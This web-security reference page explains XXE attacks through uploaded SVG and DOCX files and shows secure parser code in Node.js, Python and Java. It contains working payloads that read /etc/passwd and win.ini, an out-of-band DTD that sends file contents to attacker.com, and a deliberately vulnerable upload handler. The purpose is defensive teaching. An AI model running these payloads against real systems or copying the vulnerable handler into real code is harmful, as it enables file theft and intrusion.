Skip to content
🟠High7.5

File Upload XXE Vulnerabilities

XXE vulnerabilities in file upload functionality targeting XML-based file formats like SVG, DOCX, XLSX, and others.

CWE-611: Improper Restriction of XML External Entity ReferenceOWASP Top 10:2021 - A05: Security Misconfiguration

Overview

File upload functionality presents a unique XXE attack surface when applications accept and process XML-based file formats. Many modern document and image formats contain XML data that may be parsed insecurely:

Vulnerable File Formats:

  • SVG (Scalable Vector Graphics) - image files
  • DOCX, XLSX, PPTX (Office Open XML) - Microsoft Office documents
  • ODT, ODS, ODP (OpenDocument) - LibreOffice documents
  • PDF - may contain embedded XML metadata
  • RSS/Atom feeds
  • GPX (GPS Exchange Format)
  • KML (Keyhole Markup Language)
  • SOAP attachments

Attack Scenario:

  1. User uploads crafted XML-based file
  2. Backend parses XML without proper security controls
  3. External entities are processed
  4. File disclosure, SSRF, or DoS occurs

Why This Is Dangerous:

  • Developers may not realize file formats contain XML
  • File upload validation often checks only file extensions/MIME types
  • XML parsing may occur in background processing
  • Applications trust file content from authenticated users

SVG File XXE Attack

XMLmalicious.svg⚠️ Vulnerable
1<?xml version="1.0" standalone="yes"?>
2<!DOCTYPE svg [
3  <!ENTITY xxe SYSTEM "file:///etc/passwd">
4]>
5<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg">
6  <text x="20" y="35" font-size="20">&xxe;</text>
7</svg>

SVG Out-of-Band XXE

XMLoob-exfil.svg⚠️ Vulnerable
1<?xml version="1.0" encoding="UTF-8"?>
2<!DOCTYPE svg [
3  <!ENTITY % remote SYSTEM "http://attacker.com/xxe.dtd">
4  %remote;
5]>
6<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
7  <rect width="200" height="200" fill="red"/>
8  <text x="10" y="100">Malicious SVG</text>
9</svg>
10
11<!-- xxe.dtd on attacker server -->
12<!ENTITY % file SYSTEM "file:///etc/hostname">
13<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/log?d=%file;'>">
14%eval;
15%exfil;

DOCX File XXE Attack

Microsoft Office Open XML files (.docx, .xlsx, .pptx) are ZIP archives containing XML files. The main content is in word/document.xml (for DOCX):

Attack Steps:

  1. Create/open DOCX file
  2. Unzip the archive
  3. Edit word/document.xml to include XXE payload
  4. Rezip and upload

Vulnerable XML Inside DOCX:

XMLword/document.xml (inside malicious.docx)⚠️ Vulnerable
1<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2<!DOCTYPE root [
3  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
4]>
5<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
6  <w:body>
7    <w:p>
8      <w:r>
9        <w:t>&xxe;</w:t>
10      </w:r>
11    </w:p>
12  </w:body>
13</w:document>

Vulnerable Node.js File Upload Handler

JavaScriptvulnerable-upload.js⚠️ Vulnerable
1const express = require('express');
2const multer = require('multer');
3const libxmljs = require('libxmljs');
4const fs = require('fs');
5
6const app = express();
7const upload = multer({ dest: 'uploads/' });
8
9// Vulnerable: Parses uploaded SVG without security controls
10app.post('/upload/svg', upload.single('file'), (req, res) => {
11    if (!req.file) {
12        return res.status(400).send('No file uploaded');
13    }
14    
15    // Read uploaded file
16    const xmlContent = fs.readFileSync(req.file.path, 'utf8');
17    
18    // VULNERABLE: Default libxmljs settings allow external entities
19    try {
20        const xmlDoc = libxmljs.parseXml(xmlContent);
21        
22        // Process SVG (e.g., resize, validate)
23        res.send('SVG processed successfully');
24    } catch (err) {
25        res.status(500).send('Processing failed');
26    }
27});

Secure Node.js File Upload Handler

JavaScriptsecure-upload.js✓ Secure
1const express = require('express');
2const multer = require('multer');
3const libxmljs = require('libxmljs');
4const fs = require('fs');
5
6const app = express();
7const upload = multer({ 
8    dest: 'uploads/',
9    fileFilter: (req, file, cb) => {
10        // Validate file type
11        if (file.mimetype !== 'image/svg+xml') {
12            return cb(new Error('Only SVG files allowed'));
13        }
14        cb(null, true);
15    }
16});
17
18app.post('/upload/svg', upload.single('file'), (req, res) => {
19    if (!req.file) {
20        return res.status(400).send('No file uploaded');
21    }
22    
23    const xmlContent = fs.readFileSync(req.file.path, 'utf8');
24    
25    try {
26        // SECURE: Disable external entity loading
27        const xmlDoc = libxmljs.parseXml(xmlContent, {
28            noent: false,    // Disable entity substitution
29            nonet: true,     // Disable network access
30            dtdload: false,  // Disable DTD loading
31            dtdvalid: false  // Disable DTD validation
32        });
33        
34        // Additional validation: reject DOCTYPE
35        if (xmlContent.includes('<!DOCTYPE')) {
36            fs.unlinkSync(req.file.path); // Delete malicious file
37            return res.status(400).send('DOCTYPE not allowed');
38        }
39        
40        res.send('SVG processed securely');
41    } catch (err) {
42        fs.unlinkSync(req.file.path); // Clean up
43        res.status(500).send('Processing failed');
44    }
45});

Secure Python SVG Processing

Pythonsecure_svg_upload.py✓ Secure
1from flask import Flask, request
2from defusedxml.lxml import fromstring
3import os
4
5app = Flask(__name__)
6
7@app.route('/upload/svg', methods=['POST'])
8def upload_svg():
9    if 'file' not in request.files:
10        return 'No file uploaded', 400
11    
12    file = request.files['file']
13    
14    # Validate file extension
15    if not file.filename.endswith('.svg'):
16        return 'Only SVG files allowed', 400
17    
18    # Read file content
19    svg_content = file.read()
20    
21    try:
22        # SECURE: Use defusedxml which blocks XXE by default
23        svg_tree = fromstring(svg_content)
24        
25        # Additional validation: check for DOCTYPE
26        if b'<!DOCTYPE' in svg_content:
27            return 'Invalid SVG: DOCTYPE not allowed', 400
28        
29        # Process SVG safely
30        # ...
31        
32        return 'SVG processed successfully', 200
33        
34    except Exception as e:
35        return f'Processing failed: {str(e)}', 500
36
37if __name__ == '__main__':
38    app.run()

Detection and Prevention Strategies

Detection Indicators:

  • Uploaded files containing <!DOCTYPE declarations
  • Files with <!ENTITY definitions
  • Unusual outbound connections during file processing
  • Files significantly larger than expected for format
  • DOCTYPE references to external DTDs

Prevention Measures:

  1. Disable XXE in Parsers: Configure XML parsers to reject external entities

  2. Content Validation: • Reject files containing DOCTYPE declarations • Reject files with ENTITY definitions • Validate file structure against expected schema

  3. File Type Controls: • Validate actual file content, not just extension • Use allowlist of permitted file formats • Consider converting XML-based formats to non-XML alternatives

  4. Sandboxing: • Process uploaded files in isolated environment • Restrict network access from file processing servers • Run parsers with minimal privileges

  5. Alternative Processing: • For images: convert SVG to raster format (PNG/JPEG) • For documents: extract text without full XML parsing • Use safer libraries that don't support external entities

  6. Network Controls: • Block outbound connections from upload processing servers • Monitor for DNS queries during file processing • Alert on HTTP requests to external domains

Secure Java DOCX Processing

JavaSecureDOCXProcessor.java✓ Secure
1import org.apache.poi.xwpf.usermodel.XWPFDocument;
2import org.apache.poi.openxml4j.opc.OPCPackage;
3import javax.xml.parsers.DocumentBuilderFactory;
4import java.io.FileInputStream;
5
6public class SecureDOCXProcessor {
7    
8    public void processDocx(String filePath) throws Exception {
9        // Apache POI with secure XML parser configuration
10        
11        // Configure secure XML factory for POI
12        System.setProperty(
13            "javax.xml.parsers.DocumentBuilderFactory",
14            "com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl"
15        );
16        
17        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
18        
19        // Disable XXE
20        factory.setFeature(
21            "http://apache.org/xml/features/disallow-doctype-decl",
22            true
23        );
24        factory.setFeature(
25            "http://xml.org/sax/features/external-general-entities",
26            false
27        );
28        factory.setFeature(
29            "http://xml.org/sax/features/external-parameter-entities",
30            false
31        );
32        factory.setExpandEntityReferences(false);
33        
34        // Process DOCX with secured parser
35        try (FileInputStream fis = new FileInputStream(filePath)) {
36            OPCPackage pkg = OPCPackage.open(fis);
37            XWPFDocument doc = new XWPFDocument(pkg);
38            
39            // Extract and process text securely
40            String text = doc.getText();
41            System.out.println("Extracted text: " + text);
42            
43            doc.close();
44            pkg.close();
45        }
46    }
47}

Testing File Upload XXE

Test Methodology:

  1. Identify XML-Based Formats: Determine which file formats the application accepts

  2. Create Malicious Files: • SVG with inline XXE payload • DOCX with XXE in document.xml • XLSX with XXE in sharedStrings.xml • PDF with XXE in metadata

  3. Test Detection: • Upload file with simple file:// entity • Upload file with HTTP callback for OOB detection • Monitor for outbound connections

  4. Test Exfiltration: • Attempt to read /etc/passwd (Linux) • Attempt to read C:\windows\win.ini (Windows) • Use parameter entities for blind exfiltration

  5. Verify Processing: • Check if file content is displayed/processed • Look for evidence of entity expansion • Test different file format variations

Tools:

  • SVG with XXE: Inkscape or text editor
  • DOCX/XLSX: 7zip to unzip, edit XML, rezip
  • XXE payloads: Burp Suite, custom scripts
  • OOB detection: Burp Collaborator, interactsh